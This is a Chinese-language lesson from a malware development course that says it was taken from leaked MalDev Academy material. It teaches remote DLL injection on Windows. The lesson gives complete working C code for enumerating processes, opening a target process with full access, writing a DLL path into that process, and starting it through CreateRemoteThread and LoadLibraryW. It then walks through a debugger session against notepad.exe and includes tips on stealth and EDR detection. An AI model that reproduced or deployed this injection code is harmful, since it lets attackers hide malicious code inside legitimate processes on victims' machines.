模块 28 - 进程注入 - DLL 注入
恶意软件开发课程 - 进程注入 - DLL 注入
模块 28 - 进程注入 - DLL 注入#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
进程注入 - DLL 注入#
简介#
本模块将演示一种与之前展示的本地 DLL 注入类似的方法,只不过现在它将在远程进程上执行。
💡 初学者提示:本地注入 vs 远程注入
- 本地注入:在当前进程中加载 DLL 或执行 Shellcode。你自己控制这个进程,权限通常不是问题。
- 远程注入:强制另一个正在运行的进程(如 notepad.exe, explorer.exe)加载 DLL 或执行代码。
- 隐蔽性更高:恶意代码隐藏在合法进程内部。
- 权限要求更高:你需要有足够的权限打开目标进程(OpenProcess)。
- 更复杂:涉及跨进程内存操作。
枚举进程#
在能够将 DLL 注入进程之前,必须选择一个目标进程。因此,远程进程注入的第一步通常是枚举机器上正在运行的进程,以了解可以注入的潜在目标进程。需要进程 ID(PID)来打开目标进程的句柄,并允许在目标进程上完成必要的工作。
本模块创建一个执行进程枚举的函数,以确定所有正在运行的进程。函数 GetRemoteProcessHandle 将用于执行系统上所有正在运行进程的枚举,打开目标进程的句柄并返回进程的 PID 和句柄。
CreateToolhelp32Snapshot#
代码片段首先使用具有 TH32CS_SNAPPROCESS 标志作为其第一个参数的 CreateToolhelp32Snapshot ↗,它会在函数执行的那一刻获取系统上所有正在运行的进程的快照。
// 获取当前正在运行的进程的快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);cPROCESSENTRY32 结构体#
拍摄快照后,使用 Process32First ↗ 获取快照中第一个进程的信息。对于快照中的所有其余进程,使用 Process32Next ↗。
微软的文档指出,Process32First 和 Process32Next 都需要传入一个 PROCESSENTRY32 ↗ 结构体作为它们的第二个参数。传入结构体后,函数将使用有关进程的信息填充结构体。下面显示了 PROCESSENTRY32 结构体,并在这些函数将填充的有用成员旁边添加了注释。
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // 进程 ID
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID; // 父进程的进程 ID
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // 进程的可执行文件名
} PROCESSENTRY32;c在 Process32First 或 Process32Next 填充结构体后,可以使用点运算符从结构体中提取数据。例如,要提取 PID,请使用 PROCESSENTRY32.th32ProcessID。
Process32First & Process32Next#
如前所述,Process32First 用于获取第一个进程的信息,而 Process32Next 用于使用 do-while 循环获取快照中所有其余进程的信息。正在搜索的进程名称 szProcessName 将与从填充的结构体 Proc.szExeFile 中提取的当前循环迭代中的进程名称进行比较。如果有匹配项,则保存进程 ID 并打开该进程的句柄。
// 检索有关快照中遇到的第一个进程的信息。
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// 使用点运算符从填充的结构体中提取进程名称
// 如果进程名称与我们要查找的进程匹配
if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
// 使用点运算符从填充的结构体中提取进程 ID
// 保存 PID
*dwProcessId = Proc.th32ProcessID;
// 打开进程句柄
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break; // 退出循环
}
// 检索有关快照中记录的下一个进程的信息。
// 当快照中仍有进程时,继续循环
} while (Process32Next(hSnapShot, &Proc));c📚 知识扩展:OpenProcess 权限
这里使用了
PROCESS_ALL_ACCESS,这意味着请求对目标进程的所有可能权限。
- 优点:简单,确保后续所有操作(写内存、创建线程)都能成功。
- 缺点:非常可疑,且容易失败(如果目标是受保护进程或高权限进程)。
- 最佳实践:只请求所需的最低权限。对于 DLL 注入,通常只需:
PROCESS_VM_OPERATION(操作内存)PROCESS_VM_WRITE(写内存)PROCESS_CREATE_THREAD(创建线程)PROCESS_QUERY_INFORMATION(查询信息)
进程枚举 - 代码#
BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {
// 根据文档:
// 在调用 Process32First 函数之前,将此成员设置为 sizeof(PROCESSENTRY32)。
// 如果 dwSize 未初始化,Process32First 将失败。
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// 获取当前正在运行的进程的快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// 检索有关快照中遇到的第一个进程的信息。
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// 使用点运算符从填充的结构体中提取进程名称
// 如果进程名称与我们要查找的进程匹配
if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
// 使用点运算符从填充的结构体中提取进程 ID
// 保存 PID
*dwProcessId = Proc.th32ProcessID;
// 打开进程句柄
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break; // 退出循环
}
// 检索有关快照中记录的下一个进程的信息。
// 当快照中仍有进程时,继续循环
} while (Process32Next(hSnapShot, &Proc));
// 清理
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}c微软的示例#
可以在这里 ↗查看另一个进程枚举示例。
区分大小写的进程名称#
上面的代码片段包含一个被忽略的缺陷,可能导致结果不准确。使用了 wcscmp 函数比较进程名称,但未考虑到大小写敏感性,这意味着 Process1.exe 和 process1.exe 将被视为两个不同的进程。
下面的代码片段通过将 Proc.szExeFile 成员中的值转换为小写字符串,然后将其与 szProcessName 进行比较来修复此问题。因此,szProcessName 必须始终作为小写字符串传入。
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// 根据文档:
// 在调用 Process32First 函数之前,将此成员设置为 sizeof(PROCESSENTRY32)。
// 如果 dwSize 未初始化,Process32First 将失败。
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// 获取当前正在运行的进程的快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// 检索有关快照中遇到的第一个进程的信息。
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// 将 Proc.szExeFile 中的每个字符转换为小写字符
// 并将其保存在 LowerName 中
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// 如果小写后的进程名称与我们要查找的进程匹配
if (wcscmp(LowerName, szProcessName) == 0) {
// 保存 PID
*dwProcessId = Proc.th32ProcessID;
// 打开进程句柄
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// 检索有关快照中记录的下一个进程的信息。
// 当快照中仍有进程时,继续循环
} while (Process32Next(hSnapShot, &Proc));
// 清理
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}cDLL 注入#
已成功检索到目标进程的进程句柄。下一步是将 DLL 注入目标进程,这将需要使用几个之前使用过的 Windows API 和一些新的 API。
- VirtualAllocEx ↗ - 类似于
VirtualAlloc,但允许在远程进程中分配内存。 - WriteProcessMemory ↗ - 将数据写入远程进程。在这种情况下,它将用于将 DLL 的路径写入目标进程。
- CreateRemoteThread ↗ - 在远程进程中创建一个线程。
代码演练#
本节将演练 DLL 注入代码(如下所示)。函数 InjectDllToRemoteProcess 接受两个参数:
- 进程句柄 - 这是目标进程的 HANDLE,DLL 将被注入其中。
- DLL 名称 - 将被注入目标进程的 DLL 的完整路径。
查找 LoadLibraryW 地址#
LoadLibraryW 用于在调用它的进程内加载 DLL。由于目标是在远程进程而不是本地进程内加载 DLL,因此不能直接调用它。相反,必须检索 LoadLibraryW 的地址并将其传递给进程中远程创建的线程,并将 DLL 名称作为其参数传递。这之所以有效,是因为 LoadLibraryW WinAPI 的地址在远程进程中与在本地进程中是一样的。为了确定 WinAPI 的地址,使用了 GetProcAddress 和 GetModuleHandle。
// LoadLibrary 由 kernel32.dll 导出
// 因此检索 kernel32.dll 的句柄,通过 GetProcAddress 获取 LoadLibraryW 的地址
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");c存储在 pLoadLibraryW 中的地址将在远程进程中创建新线程时用作线程入口。
📚 知识扩展:为什么 LoadLibraryW 地址在不同进程中相同?
在 Windows 中,核心系统 DLL(如
kernel32.dll,ntdll.dll)通常被加载到所有进程的相同虚拟地址。
- 这是为了优化系统内存和性能。
- 这给我们带来了极大的便利:我们在当前进程中获取的
LoadLibraryW地址,直接在远程进程中也是有效的!- ASLR(地址空间布局随机化)虽然会随机化 DLL 加载地址,但在也就是启动后,所有进程共享相同的系统 DLL 内存映像(Copy-on-Write),因此基址通常对齐一致(直至重启)。
分配内存#
下一步是在远程进程中分配可以容纳 DLL 名称 DllName 的内存。VirtualAllocEx 函数用于在远程进程中分配内存。
// 在远程进程 hProcess 内分配大小为 dwSizeToWrite(即 dll 名称的大小)的内存。
// 内存保护为可读可写
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);c写入分配的内存#
在远程进程中成功分配内存后,可以使用 WriteProcessMemory 写入分配的缓冲区。DLL 的名称被写入之前分配的内存缓冲区。
WriteProcessMemory WinAPI 函数根据其文档如下所示:
BOOL WriteProcessMemory(
[in] HANDLE hProcess, // 要写入内存的进程句柄
[in] LPVOID lpBaseAddress, // 数据写入指定进程的基地址
[in] LPCVOID lpBuffer, // 指向包含要写入 'lpBaseAddress' 的数据的缓冲区的指针
[in] SIZE_T nSize, // 要写入指定进程的字节数。
[out] SIZE_T *lpNumberOfBytesWritten // 指向接收实际写入字节数的 'SIZE_T' 变量的指针
);c根据上面显示的 WriteProcessMemory 参数,将按如下方式调用它,将缓冲区(DllName)写入分配的地址(pAddress),该地址由之前调用的 VirtualAllocEx 函数返回。
// 正在写入的数据是 DLL 名称 'DllName',大小为 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)c通过新线程执行#
成功将 DLL 路径写入分配的缓冲区后,将使用 CreateRemoteThread ↗ 在远程进程中创建一个新线程。这就是 LoadLibraryW 地址变得必要的地方。pLoadLibraryW 被传递作为线程的起始地址,然后 pAddress(包含 DLL 名称)被传递作为 LoadLibraryW 调用的参数。这是通过将 pAddress 作为 CreateRemoteThread 的 lpParameter 参数传递来完成的。
CreateRemoteThread 的参数与前面解释的 CreateThread WinAPI 函数相同,除了额外的 HANDLE hProcess 参数,它表示要在其中创建线程的进程句柄。
// 线程入口将是 'pLoadLibraryW',即 LoadLibraryW 的地址
// DLL 的名称 pAddress 作为参数传递给 LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);c💡 初学者提示:CreateRemoteThread 魔法
这里的魔法在于利用了
LoadLibraryW的函数签名与线程函数签名兼容:
- 线程函数:
DWORD WINAPI ThreadProc(LPVOID lpParameter);- LoadLibraryW:
HMODULE LoadLibraryW(LPCWSTR lpLibFileName);两者都接受一个指针参数并返回一个值。 我们告诉远程进程:“嘿,启动一个新线程,但不要执行普通函数,而是执行
LoadLibraryW,参数就是我刚写入你内存里的那个 DLL 路径。” 于是,远程进程就乖乖地加载了我们的 DLL!
DLL 注入 - 代码片段#
BOOL InjectDllToRemoteProcess(IN HANDLE hProcess, IN LPWSTR DllName) {
BOOL bSTATE = TRUE;
LPVOID pLoadLibraryW = NULL;
LPVOID pAddress = NULL;
// 获取 DllName 的大小(以字节为单位)
DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
SIZE_T lpNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] pAddress Allocated At : 0x%p Of Size : %d\n", pAddress, dwSizeToWrite);
printf("[#] Press <Enter> To Write ... ");
getchar();
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite){
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] Successfully Written %d Bytes\n", lpNumberOfBytesWritten);
printf("[#] Press <Enter> To Run ... ");
getchar();
printf("[i] Executing Payload ... ");
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] DONE !\n");
_EndOfFunction:
if (hThread)
CloseHandle(hThread);
return bSTATE;
}c调试#
在本节中,使用 xdbg 调试器调试实现,以进一步了解底层发生的情况。
首先,运行 RemoteDllInjection.exe 并传递两个参数:目标进程和要注入到目标进程内的完整 DLL 路径。在本演示中,正在注入 notepad.exe。

进程枚举成功工作。使用 Process Hacker 验证 Notepad 的 PID 确实是 20932。

接下来,将 xdbg 附加到目标进程 Notepad,并检查分配的地址。下图显示缓冲区已成功分配。

内存分配后,DLL 名称被写入缓冲区。

最后,在远程进程中创建一个执行 DLL 的新线程。

使用 Process Hacker 的模块选项卡验证 DLL 是否已成功注入。

前往 Process Hacker 中的线程选项卡,注意运行 LoadLibraryW 作为其入口函数的线程。

🎯 总结#
在本模块中,我们学习了:
- 进程枚举:使用
CreateToolhelp32Snapshot查找目标进程 PID。 - 远程内存操作:使用
VirtualAllocEx和WriteProcessMemory在其他进程中操作内存。 - 经典的 DLL 注入技术:
CreateRemoteThread+LoadLibraryW的组合拳。 - 调试技巧:如何验证远程注入是否成功。
💡 关键要点
- 远程注入需要
OpenProcess及其正确的权限。LoadLibrary地址在所有进程中通常是相同的。- 这种经典注入技术非常喧闹,容易被 EDR 检测到(CreateRemoteThread 是重点监控对象)。
📚 下一步学习
下一个模块将介绍 Shellcode 注入,它的原理类似,但我们不再注入 DLL 文件,而是直接注入并执行 shellcode!